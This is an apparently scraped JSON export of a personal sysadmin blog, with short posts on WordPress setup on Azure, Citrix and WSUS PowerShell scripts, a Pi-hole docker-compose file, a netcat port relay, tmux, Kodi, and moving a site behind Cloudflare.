\u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ea2ensite wordpress\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ea2enmod rewrite\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereload apache2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservice apache2 reload\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esystemctl restart apache2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emysql -e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;CREATE DATABASE wordpress;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emysql -e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;CREATE USER wordpress@localhost IDENTIFIED BY \u0026#39;Secret@Pass1\u0026#39;;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emysql -e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,ALTER ON wordpress.* TO wordpress@localhost;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emysql -e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;FLUSH PRIVILEGES;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003edefine\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;DB_NAME\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;wordpress\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003edefine\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;DB_USER\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;wordpress\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003edefine\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;DB_PASSWORD\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Secret@Pass1\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003edefine\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;DB_HOST\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;localhost\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003edefine\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;DB_COLLATE\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf8_general_ci\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003edefine\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;WP_CONTENT_DIR\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/usr/share/wordpress/wp-content\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eecho \u0026#34;\u003c/span\u003e?\u0026gt;\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eservice mysql start\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003epublicip=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003edig +short myip.opendns.com @resolver1.opendns.com\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e \u0026amp;\u0026amp; mv /etc/wordpress/config-localhost.php /etc/wordpress/config-\u003c/span\u003e$publicip\u003cspan style=\"color:#e6db74\"\u003e.php\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen put the code in the Powershell ISE, change some variables and kickoff the script.\u003c/p\u003e","title":"Create Azure Linux VM with worpress pre-installed"},{"content":"This Citrix script will reboot all the servers with the tags SomeTag or SomeOtherTag and are in maintenance mode. Have fun!\n$machines=Get-BrokerMachine | Where-Object {($_.Tags -eq \u0026#34;SomeTag\u0026#34; -or $_.Tags -eq \u0026#34;SomeOtherTag\u0026#34;) -and ($_.InMaintenanceMode -eq \u0026#34;True\u0026#34;)} Foreach($machine in $machines) {New-BrokerHostingPowerAction -Action Restart -MachineName $machine.Machinename} ","permalink":"https://blog.wapnet.nl/2020/10/citrix-reboot-server-script/","summary":"\u003cp\u003eThis Citrix script will reboot all the servers with the tags SomeTag or SomeOtherTag and are in maintenance mode. Have fun!\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$machines=Get-BrokerMachine | Where-Object {($_.Tags \u003cspan style=\"color:#f92672\"\u003e-eq\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SomeTag\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-or\u003c/span\u003e $_.Tags \u003cspan style=\"color:#f92672\"\u003e-eq\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SomeOtherTag\u0026#34;\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e-and\u003c/span\u003e ($_.InMaintenanceMode \u003cspan style=\"color:#f92672\"\u003e-eq\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e)}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eForeach\u003c/span\u003e($machine \u003cspan style=\"color:#66d9ef\"\u003ein\u003c/span\u003e $machines)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{New-BrokerHostingPowerAction -Action Restart -MachineName $machine.Machinename}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Citrix reboot server script"},{"content":"Unfortunately, there isn\u0026rsquo;t a pihole addon in the Synology package center. But you can build your pihole in a docker container instead :)\nThe reason you must use docker-compose instead of the Synology docker package itself is that you want to bridge net NIC of your Synology and place the pihole direct in your network. You cannot do this with the GUI.\nThe steps: Install docker with the package center Activate SSH Download de image pihole/pihole:latest Login with ssh type vi docker-compose.yaml Paste the content from the docker-compose.yaml example into the vi Change the IP adressen to your own network Type :wr to save the file Type :q to quit vi Type \u0026ldquo;sudo docker-compose up\u0026rdquo; Have fun! Docker-compose.yaml Example # Note: 192.168.123.xxx is an example network, you must update all these to match your own. version: \u0026#39;2\u0026#39; services: pihole: container_name: pihole image: pihole/pihole:latest hostname: pihole domainname: localhost # \u0026lt;-- Update mac_address: d0:ca:ab:cd:ef:01 cap_add: - NET_ADMIN networks: pihole_network: ipv4_address: 192.168.123.199 # \u0026lt;-- Update dns: - 127.0.0.1 - 1.1.1.1 ports: - 443/tcp - 53/tcp - 53/udp - 67/udp - 80/tcp environment: ServerIP: 192.168.123.199 # \u0026lt;-- Update (match ipv4_address) VIRTUAL_HOST: pihole.localhost # \u0026lt;-- Update (match hostname + domainname) WEBPASSWORD: \u0026#34;justarondompassword\u0026#34; # \u0026lt;-- Add password (if required) restart: unless-stopped networks: pihole_network: driver: macvlan driver_opts: parent: ovs_eth0 ipam: config: - subnet: 192.168.123.0/24 # \u0026lt;-- Update gateway: 192.168.123.1 # \u0026lt;-- Update ip_range: 192.168.123.192/28 # \u0026lt;-- Update When you want to update the docker container, all you have to do is:\ns udo docker-compose down\nand\nsudo docker-compose up\nA good article I used to figure everything out is: http://tonylawrence.com/posts/unix/synology/free-your-synology-ports/\n","permalink":"https://blog.wapnet.nl/2020/05/install-pihole-on-synology-with-docker/","summary":"\u003cp\u003eUnfortunately, there isn\u0026rsquo;t a pihole addon in the Synology package center. But you can build your pihole in a docker container instead :)\u003c/p\u003e\n\u003cp\u003eThe reason you must use docker-compose instead of the Synology docker package itself is that you want to bridge net NIC of your Synology and place the pihole direct in your network. You cannot do this with the GUI.\u003c/p\u003e\n\u003ch2 id=\"the-steps\"\u003eThe steps:\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eInstall docker with the package center\u003c/li\u003e\n\u003cli\u003eActivate SSH\u003c/li\u003e\n\u003cli\u003eDownload de image pihole/pihole:latest\u003c/li\u003e\n\u003cli\u003eLogin with ssh\u003c/li\u003e\n\u003cli\u003etype vi docker-compose.yaml\u003c/li\u003e\n\u003cli\u003ePaste the content from the docker-compose.yaml example into the vi\u003c/li\u003e\n\u003cli\u003eChange the IP adressen to your own network\u003c/li\u003e\n\u003cli\u003eType :wr to save the file\u003c/li\u003e\n\u003cli\u003eType :q to quit vi\u003c/li\u003e\n\u003cli\u003eType \u0026ldquo;sudo docker-compose up\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eHave fun!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"docker-composeyaml-example\"\u003eDocker-compose.yaml Example\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Note: 192.168.123.xxx is an example network, you must update all these to match your own.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eversion: \u0026#39;2\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservices:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  pihole:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    container_name: pihole\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    image: pihole/pihole:latest\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    hostname: pihole\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    domainname: localhost             # \u0026lt;-- Update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    mac_address: d0:ca:ab:cd:ef:01\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    cap_add:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - NET_ADMIN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    networks:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      pihole_network:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        ipv4_address: 192.168.123.199   # \u0026lt;-- Update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    dns:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 127.0.0.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 1.1.1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ports:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 443/tcp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 53/tcp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 53/udp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 67/udp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - 80/tcp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    environment:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      ServerIP: 192.168.123.199                 # \u0026lt;-- Update (match ipv4_address)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      VIRTUAL_HOST: pihole.localhost            # \u0026lt;-- Update (match hostname + domainname)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      WEBPASSWORD: \u0026#34;justarondompassword\u0026#34;        # \u0026lt;-- Add password (if required)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    restart: unless-stopped\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetworks:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  pihole_network:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    driver: macvlan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    driver_opts:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      parent: ovs_eth0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ipam:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      config:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - subnet: 192.168.123.0/24            # \u0026lt;-- Update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          gateway: 192.168.123.1              # \u0026lt;-- Update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          ip_range: 192.168.123.192/28        # \u0026lt;-- Update\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen you want to update the docker container, all you have to do is:\u003c/p\u003e","title":"Install Pihole on Synology with docker"},{"content":"So I configure a \u0026ldquo;configure automatic updates\u0026rdquo; policy for testing purposes but the auto-update and installation won\u0026rsquo;t work. The main cause\u0026hellip;.? Lack of patience ;-)\nHow this Policy works (source):\nThe Windows Update Agent periodically checks the WSUS server for updates. Updates it finds, it reports state for: Installed, Not Installed, Not Applicable. If a \u0026ldquo;Not Installed\u0026rdquo; update is approved and available, the WUA queues the installation files for download if the Configure Automatic Updates policy is set to AUOption \u0026lsquo;3\u0026rsquo; or \u0026lsquo;4\u0026rsquo;.\nThe download occurs via Background Intelligent Transfer Service (BITS) subsequent to the WUA finding the update as available for download.\nWhen the download of the update is completed, the WUA does one of two things:\nIf the Configure Automatic Updates policy is set to AUOption \u0026lsquo;4\u0026rsquo;, then the WUA will schedule the update for installation at the scheduled time. This scheduled installation does NOT require access to the WSUS server to be conducted. If the Configure Automatic Updates policy is not set to AUOption \u0026lsquo;4\u0026rsquo;, then the update will be retained on the client computer until a user launches the Windows Update applet from Control Panel and initiates the installation. So bottom line; the updates must first be downloaded on the client and ONLY then will Windows apply the \u0026ldquo;Automatically download updates and install them on the schedule specified\u0026rdquo; action\nTo force a client (source):\n$updateSession = new-object -com \u0026quot;Microsoft.Update.Session\u0026quot;; $updates=$updateSession.CreateupdateSearcher().Search($criteria).Updates Start-sleep -seconds 10 wuauclt /detectnow wuauclt /reportnow c:\\windows\\system32\\UsoClient.exe startscan\nAfter this commands BITS will download the updates and prepare the installation. When you start Windows update you can see the available update\nThe default of the WSUS communication check-in (report and detect) is 22 hours. If you don\u0026rsquo;t want to wait so long you can change the \u0026ldquo;automatic updates detection frequency\u0026rdquo; to every hour (do not to this every hour on production policies!)\nAnd now wait till the magic happens :)\nLast but now least. When you change setting in the \u0026ldquo;configure automatic updates\u0026rdquo; policy you can trigger the client with powershell so you don\u0026rsquo;t have to reboot the client\ngpupdate /force net stop wuauserv net start wuauserv (new-object -Comobject Microsoft.Update.AutoUpdate).Detectnow() You get get more information about Windows update log with the command.\nGet-WindowsUpdateLog\nHappy updating!\nOK\u0026hellip; Even with all the tips. Sometimes you need rename the software distribition folder also so I present to you: The PLZ GIVE ME ******* UPDATES NOW SCRIPT!!!! ( runas admin)\ngpupdate /force Start-sleep -seconds 10 Stop-Service -Name BITS, wuauserv -Force Remove-Item \u0026#34;$env:SystemRoot\\SoftwareDistribution\\\u0026#34; -Recurse -Force -ErrorAction SilentlyContinue Start-Service -Name BITS, wuauserv $updateSession = new-object -com \u0026#34;Microsoft.Update.Session\u0026#34;; $updates=$updateSession.CreateupdateSearcher().Search($criteria).Updates Start-sleep -seconds 10 wuauclt /detectnow wuauclt /reportnow (New-Object -ComObject Microsoft.Update.AutoUpdate).DetectNow() ","permalink":"https://blog.wapnet.nl/2020/02/policy-wsus-automatically-download-updates-and-install-them-on-the-schedule-specified-below-dont-work/","summary":"\u003cp\u003eSo I configure a \u0026ldquo;configure automatic updates\u0026rdquo; policy for testing purposes but the auto-update and installation won\u0026rsquo;t work. The main cause\u0026hellip;.? Lack of patience ;-)\u003c/p\u003e\n\u003cp\u003eHow this Policy works (\u003ca href=\"https://social.technet.microsoft.com/Forums/exchange/en-US/52ac4f34-dfee-4eae-bda9-6f8087a83173/wsus-auto-download-and-schedule-install\"\u003esource\u003c/a\u003e):\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eThe Windows Update Agent periodically checks the WSUS server for updates. Updates it finds, it reports state for: Installed, Not Installed, Not Applicable. If a \u0026ldquo;Not Installed\u0026rdquo; update is approved and available, the WUA queues the installation files for download if the Configure Automatic Updates policy is set to AUOption \u0026lsquo;3\u0026rsquo; or \u0026lsquo;4\u0026rsquo;.\u003c/em\u003e\u003c/p\u003e","title":"Policy WSUS: \"Automatically download updates and install them on the schedule specified below\" don't work...!!!?!"},{"content":"You can do this stuff with netcat and inetd\napt-get install openbsd-inetd (netcat is installed by default)\nnano /etc/inetd.conf\nLOCALIP:443 stream tcp nowait root /bin/nc nc REMOTEIP 443\n/etc/init.d/openbsd-inetd restart\nHave fun!\n","permalink":"https://blog.wapnet.nl/2020/02/create-a-local-tcp-port-for-a-remote-server-on-a-ubuntu-debian-server/","summary":"\u003cp\u003eYou can do this stuff with netcat and inetd\u003c/p\u003e\n\u003cp\u003eapt-get install openbsd-inetd (netcat is installed by default)\u003c/p\u003e\n\u003cp\u003enano /etc/inetd.conf\u003c/p\u003e\n\u003cp\u003eLOCALIP:443 stream tcp nowait root /bin/nc nc REMOTEIP 443\u003c/p\u003e\n\u003cp\u003e/etc/init.d/openbsd-inetd restart\u003c/p\u003e\n\u003cp\u003eHave fun!\u003c/p\u003e","title":"Create a local TCP port for a remote server on a ubuntu/debian server"},{"content":" ssh into the remote machine start tmux by typing tmux into the shell start the process you want inside the started tmux session leave/detach the tmux session by typing Ctrl+b and then d ","permalink":"https://blog.wapnet.nl/2020/02/how-to-keep-processes-running-after-ending-ssh-session/","summary":"\u003cul\u003e\n\u003cli\u003essh into the remote machine\u003c/li\u003e\n\u003cli\u003estart tmux by typing tmux into the shell\u003c/li\u003e\n\u003cli\u003estart the process you want inside the started tmux session\u003c/li\u003e\n\u003cli\u003eleave/detach the tmux session by typing Ctrl+b and then d\u003c/li\u003e\n\u003c/ul\u003e","title":"How to keep processes running after ending ssh session"},{"content":"Hey Marlou (of illegaal Kolibrietje)!\nJe hebt hem gevonden: \u0026ldquo;Thomas zijn overdracht pagina\u0026rsquo;tje\u0026rdquo;\u0026hellip;! Op deze pagina kun je wat interesante URL\u0026rsquo;s vinden om jouw leven bij Kolibrie weer een stukje makkelijker te maken :)\n@Illegaal kolibrietje: Wat ben je toch een hacker ;) Zomaar een beetje QR codes van andere scannen en wachtwoorden van geeltjes overtypen\u0026hellip; Maar misschien zit er voor jou ook nog wel wat tussen ;)\nDit zijn ze:\nHelp AFAS Draaitabel maken Verticaal zoeken Confluence Excel sneltoetsen AFAS sneltoetsen Windows sneltoetsen Slack tips Freshdesk tips Beheer Tools Veel plezier ermee! En als je het leuk vind mag je altijd een mail sturen naar thomas@wapnet.nl\nGroetjes,\nThomas\n","permalink":"https://blog.wapnet.nl/2019/12/thomas-zijn-overdracht-paginatje/","summary":"\u003cp\u003eHey Marlou (of illegaal Kolibrietje)!\u003c/p\u003e\n\u003cp\u003eJe hebt hem gevonden: \u0026ldquo;Thomas zijn overdracht pagina\u0026rsquo;tje\u0026rdquo;\u0026hellip;! Op deze pagina kun je wat interesante URL\u0026rsquo;s vinden om jouw leven bij Kolibrie weer een stukje makkelijker te maken :)\u003c/p\u003e\n\u003cp\u003e@Illegaal kolibrietje: Wat ben je toch een hacker ;) Zomaar een beetje QR codes van andere scannen en wachtwoorden van geeltjes overtypen\u0026hellip; Maar misschien zit er voor jou ook nog wel wat tussen ;)\u003c/p\u003e\n\u003cp\u003eDit zijn ze:\u003c/p\u003e","title":"Thomas zijn overdracht pagina'tje"},{"content":" Go to add-ons My add-ons All Select SMB support (libsmb2) Enable That\u0026rsquo;s all!\n","permalink":"https://blog.wapnet.nl/2019/11/enable-smb-in-kodi-xbox-one-uwp/","summary":"\u003cul\u003e\n\u003cli\u003eGo to add-ons\u003c/li\u003e\n\u003cli\u003eMy add-ons\u003c/li\u003e\n\u003cli\u003eAll\u003c/li\u003e\n\u003cli\u003eSelect SMB support (libsmb2)\u003c/li\u003e\n\u003cli\u003eEnable\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThat\u0026rsquo;s all!\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2019/11/image-2.png\"/\u003e \n\u003c/figure\u003e","title":"Enable SMB in Kodi XBOX One (UWP)"},{"content":"Sometimes you want to test a mail application without spamming the internet with your garbage. Use can user Papercut to local test your mail application.\nURL: https://github.com/ChangemakerStudios/Papercut/releases\n","permalink":"https://blog.wapnet.nl/2019/11/papercut-simple-desktop-smtp-server/","summary":"\u003cp\u003eSometimes you want to test a mail application without spamming the internet with your garbage. Use can user Papercut to local test your mail application.\u003c/p\u003e\n\u003cp\u003eURL: \u003ca href=\"https://github.com/ChangemakerStudios/Papercut/releases\"\u003ehttps://github.com/ChangemakerStudios/Papercut/releases\u003c/a\u003e\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2019/11/image.png\"/\u003e \n\u003c/figure\u003e","title":"Papercut: Simple Desktop SMTP Server"},{"content":"A simple SQL compare is realy easy:\nselect * from dbtest02.dbo.article except select * from dbtest01.dbo.article\nSource: https://www.mssqltips.com/sqlservertip/2779/ways-to-compare-and-find-differences-for-sql-server-tables-and-data/\n","permalink":"https://blog.wapnet.nl/2018/05/compare-2-sql-tables/","summary":"\u003cp\u003eA simple SQL compare is realy easy:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eselect * from dbtest02.dbo.article except select * from dbtest01.dbo.article\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eSource: \u003ca href=\"https://www.mssqltips.com/sqlservertip/2779/ways-to-compare-and-find-differences-for-sql-server-tables-and-data/\"\u003ehttps://www.mssqltips.com/sqlservertip/2779/ways-to-compare-and-find-differences-for-sql-server-tables-and-data/\u003c/a\u003e\u003c/p\u003e","title":"Compare 2 sql tables"},{"content":"My web hosting company don\u0026rsquo;t support subdomain SSL certificates. And because Google\u0026rsquo;s Chrome in July is required HTTPS on all websites (otherwise you get an error your website isn\u0026rsquo;t safe) I had some deadline to make my blog HTTPS. Cloudflare is a nice reverse proxy solution and the basic plan is free to use also.\nSo what I did was create a cloudflare account and put my website behind it. After I did that I forced the HTTPS and voila my website was HTTPS. The steps you must take.\nNote: this trick will also work if you want to use cloudflare as a reverse proxy to prevent DDoS, to optimize your site security, hide your hosting party backend and make your website a lot faster. If you use a raspbery Pi for example at your home location you can put cloudflare between the visitor and your home IP and save you a lot of trouble.\nIf you use the wordfence plugin also be sure your PHP version is higher than 5.6. Otherwise you get some errors and conflicts (more info) Go to cloudflare an create an account Configure your DNS (temporary) disable your DNSSEC at you domain if that is enabled (cloudflare cannot succesfully transfer your DNS otherwise). For me I had to create a ticket with my domain register company Cloudflare give you 2 new name servers. Ask your domain registry company to change these DNS name servers if you can change it by yourself After a succesfull DNS nameserver change cloudflare shows in the portal everything is ok: Now install the wordpress cloudflare plugin Fill in your username and API key. You can find the Global API key in your cloudflare profile @ https://www.cloudflare.com/a/profile Optimize your cloudflare for wordpress in the cloudflare wordpress plugin and enable HTTPS rewrites Now edit your url in the settings 